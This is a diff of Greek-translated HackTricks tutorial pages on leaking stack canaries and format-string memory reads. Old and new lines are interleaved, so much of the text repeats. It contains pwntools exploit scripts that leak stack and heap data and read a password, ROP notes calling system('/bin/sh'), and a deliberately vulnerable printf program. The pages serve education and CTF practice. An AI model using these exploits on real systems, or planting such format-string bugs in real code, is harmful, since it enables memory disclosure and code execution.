Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Μεγέθυνση εκτυπωμένου stack
## Επιμεγνύνετε το εκτυπωμένο stack
Φανταστείτε μια κατάσταση όπου ένα **ευάλωτο πρόγραμμα** σε σχέση με την υπερχείλιση του stack μπορεί να εκτελέσει μια συνάρτηση **puts** που **δείχνει** σε μέρος της **υπερχείλισης του stack**. Ο επιτιθέμενος γνωρίζει ότι το **πρώτο byte του canary είναι ένα μηδενικό byte** (`\x00`) και τα υπόλοιπα bytes του canary είναι **τυχαία** bytes. Στη συνέχεια, ο επιτιθέμενος μπορεί να δημιουργήσει μια υπερχείλιση που **αντικαθιστά το stack μέχρι το πρώτο byte του canary**.
Φανταστείτε μια κατάσταση όπου ένα **πρόγραμμα ευάλωτο** στην υπερχείλιση του stack μπορεί να εκτελέσει μια συνάρτηση **puts** που **δείχνει** σε ένα **μέρος** της **υπερχείλισης του stack**. Ο επιτιθέμενος γνωρίζει ότι το **πρώτο byte του canary είναι ένα μηδενικό byte** (`\x00`) και τα υπόλοιπα bytes του canary είναι **τυχαία** bytes. Στη συνέχεια, ο επιτιθέμενος μπορεί να δημιουργήσει μια υπερχείλιση που **αντικαθιστά το stack μέχρι το πρώτο byte του canary**.
Στη συνέχεια, ο επιτιθέμενος **καλεί τη λειτουργία puts** στη μέση του φορτίου, η οποία θα **εκτυπώσει ολόκληρο το canary** (εκτός από το πρώτο μηδενικό byte).
Στη συνέχεια, ο επιτιθέμενος **καλεί τη λειτουργικότητα puts** στη μέση του φορτίου, το οποίο θα **εκτυπώσει ολόκληρο το canary** (εκτός από το πρώτο μηδενικό byte).
Με αυτές τις πληροφορίες ο επιτιθέμενος μπορεί να **σχεδιάσει και να στείλει μια νέα επίθεση** γνωρίζοντας το canary (στην **ίδια συνεδρία προγράμματος**).
Φυσικά, αυτή η τακτική είναι πολύ **περιορισμένη**, καθώς ο επιτιθέμενος πρέπει να μπορεί να **εκτυπώσει** το **περιεχόμενο** του **φορτίου** του για να **εξαγάγει** το **canary** και στη συνέχεια να μπορεί να δημιουργήσει ένα νέο φορτίο (στην **ίδια συνεδρία προγράμματος**) και να **στείλει** την **πραγματική υπερχείλιση του buffer**.
Φυσικά, αυτή η τακτική είναι πολύ **περιορισμένη**, καθώς ο επιτιθέμενος πρέπει να είναι σε θέση να **εκτυπώσει** το **περιεχόμενο** του **φορτίου** του για να **εξαγάγει** το **canary** και στη συνέχεια να είναι σε θέση να δημιουργήσει ένα νέο φορτίο (στην **ίδια συνεδρία προγράμματος**) και να **στείλει** την **πραγματική υπερχείλιση του buffer**.
**Παραδείγματα CTF:**&#x20;
* [**https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html**](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
* 64 bit, ενεργοποιημένο ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε μια υπερχείλιση μέχρι το byte 0x00 του canary και στη συνέχεια να καλέσετε την puts και να διαρρεύσετε το canary. Με το canary δημιουργείται ένα ROP gadget για να καλέσει την puts και να διαρρεύσει τη διεύθυνση της puts από το GOT και ένα ROP gadget για να καλέσει `system('/bin/sh')`
* 64 bit, ενεργοποιημένο ASLR αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε μια υπερχείλιση μέχρι το byte 0x00 του canary και στη συνέχεια να καλέσετε την puts για να διαρρεύσετε το canary. Με το canary δημιουργείται ένα ROP gadget για να καλέσει την puts και να διαρρεύσει τη διεύθυνση της puts από το GOT και ένα ROP gadget για να καλέσει `system('/bin/sh')`
* [**https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret\_2\_system/hxp18\_poorCanary/index.html)
* 32 bit, ARM, χωρίς relro, canary, nx, χωρίς pie. Υπερχείλιση με κλήση στην puts για να διαρρεύσει το canary + ret2lib καλώντας το `system` με ένα ROP chain για να προκαλέσει το pop r0 (arg `/bin/sh`) και pc (διεύθυνση του system)
## Αυθαίρετη Ανάγνωση
Με μια **αυθαίρετη ανάγνωση** όπως αυτή που παρέχεται από τις format **strings** είναι πιθανό να διαρρεύσει το canary. Ελέγξτε αυτό το παράδειγμα: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) και μπορείτε να διαβάσετε για την κατάχρηση των format strings για την ανάγνωση αυθαίρετων διευθύνσεων μνήμης στο:
Με μια **αυθαίρετη ανάγνωση** όπως αυτή που παρέχεται από τις **format strings** μπορεί να είναι δυνατόν να διαρρεύσει το canary. Ελέγξτε αυτό το παράδειγμα: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) και μπορείτε να διαβάσετε για την κατάχρηση των format strings για την ανάγνωση αυθαίρετων διευθύνσεων μνήμης στο:
{% content-ref url="../../format-strings/" %}
[format-strings](../../format-strings/)
@ -42,16 +43,17 @@
* [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html)
* Αυτή η πρόκληση καταχράζεται με έναν πολύ απλό τρόπο μια format string για να διαβάσει το canary από το stack
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,20 +1,55 @@
# Παράδειγμα Διαβάσματος Αυθαίρετων Δεδομένων με Format Strings
# Format Strings - Παράδειγμα Διαβάσματος Αυθαίρετων Δεδομένων
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Εκπαίδευση AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Εκπαίδευση GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Κώδικας
## Διάβασμα Αρχής Δυαδικού Κώδικα
### Κώδικας
```c
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
```
Μεταγλωττίστε το με:
```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
### Εκμετάλλευση
```python
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
* Το **offset είναι 11** επειδή με την ρύθμιση πολλών Α και **brute-forcing** με έναν βρόγχο που μετακινείται από 0 έως 50, διαπιστώθηκε ότι στο offset 11 και με 5 επιπλέον χαρακτήρες (στην περίπτωσή μας pipes `|`), είναι δυνατόν να ελεγχθεί μια πλήρης διεύθυνση.
* Χρησιμοποίησα το **`%11$p`** με επιπλέον γέμισμα μέχρι να δω ότι η διεύθυνση ήταν όλα 0x4141414141414141
* Το **φορτωμένο string μορφοποίησης είναι ΠΡΙΝ τη διεύθυνση** επειδή το **printf σταματάει την ανάγνωση σε ένα μηδενικό byte**, οπότε αν στείλουμε πρώτα τη διεύθυνση και μετά το string μορφοποίησης, το printf δεν θα φτάσει ποτέ το string μορφοποίησης καθώς θα βρει ένα μηδενικό byte πριν από αυτό.
* Η επιλεγμένη διεύθυνση είναι το 0x00400000 επειδή εκεί ξεκινάει το δυαδικό (χωρίς PIE)
```c
#include <stdio.h>
#include <string.h>
@ -51,7 +86,7 @@ clang -o fs-read fs-read.c -Wno-format-security
```
### Διάβασμα από τη στοίβα
Ο **`stack_password`** θα αποθηκευτεί στη στοίβα επειδή είναι μια τοπική μεταβλητή, οπότε απλά καταχρώντας το printf για να εμφανίσει το περιεχόμενο της στοίβας είναι αρκετό. Αυτό είναι ένα εκμεταλλευτικό πρόγραμμα για να διαβρεί τις κωδικούς πρόσβασης από τη στοίβα:
Ο **`stack_password`** θα αποθηκευτεί στη στοίβα επειδή είναι μια τοπική μεταβλητή, οπότε απλά καταχρώντας το printf για να εμφανίσει το περιεχόμενο της στοίβας είναι αρκετό. Αυτό είναι ένα εκμεταλλευτικό πρόγραμμα για να διαβρεί τις πρώτες 100 θέσεις για να διαρρεύσει τους κωδικούς πρόσβασης από τη στοίβα:
```python
from pwn import *
@ -66,33 +101,90 @@ p.close()
```
Στην εικόνα είναι δυνατόν να δούμε ότι μπορούμε να διαρρεύσουμε τον κωδικό πρόσβασης από τη στοίβα στη θέση `10η`:
<figure><img src="../../.gitbook/assets/image (1231).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1230).png" alt="" width="338"><figcaption></figcaption></figure>
Εκτελώντας το ίδιο exploit αλλά με `%p` αντί για `%s` είναι δυνατόν να διαρρεύσουμε μια διεύθυνση σωρού από τη στοίβα στο `%5$p`:
<figure><img src="../../.gitbook/assets/image (1232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1233).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1234).png" alt=""><figcaption></figcaption></figure>
Η διαφορά μεταξύ της διαρρευσμένης διεύθυνσης και της διεύθυνσης του κωδικού πρόσβασης είναι:
<figure><img src="../../.gitbook/assets/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
### Διαβάστε δεδομένα
Εκτελώντας το ίδιο εκμεταλλευτικό πρόγραμμα αλλά με `%p` αντί για `%s` είναι δυνατόν να διαρρεύσουμε μια διεύθυνση σωρού από τη στοίβα στο `%25$p`. Επιπλέον, συγκρίνοντας τη διαρρευσμένη διεύθυνση (`0xaaaab7030894`) με τη θέση του κωδικού πρόσβασης στη μνήμη σε αυτήν τη διεργασία μπορούμε να λάβουμε τη διαφορά των διευθύνσεων:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
Τώρα είναι η στιγμή να βρούμε πώς να ελέγξουμε μια διεύθυνση στη στοίβα για να έχουμε πρόσβαση από τη δεύτερη ευπάθεια της δεύτερης συμβολοσειράς μορφοποίησης:
```python
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
```
> print 0xaaaaaaac12b2 - 0xaaaaaaac0048
$1 = 0x126a
Και είναι δυνατόν να δούμε ότι στο **try 14** με τη χρήση του passing μπορούμε να ελέγξουμε μια διεύθυνση:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Εκμετάλλευση
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Πρότυπο Συμβολοσειράς Μορφοποίησης
# Πρότυπο Συμβολοσειρών Μορφοποίησης
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε τεχνικές χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
```python
from pwn import *
from time import sleep
@ -152,16 +153,17 @@ format_string.execute_writes()
P.interactive()
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τεχνικές χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Υπερχείλιση Ακεραίων
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## Βασικές Πληροφορίες
@ -20,7 +21,7 @@
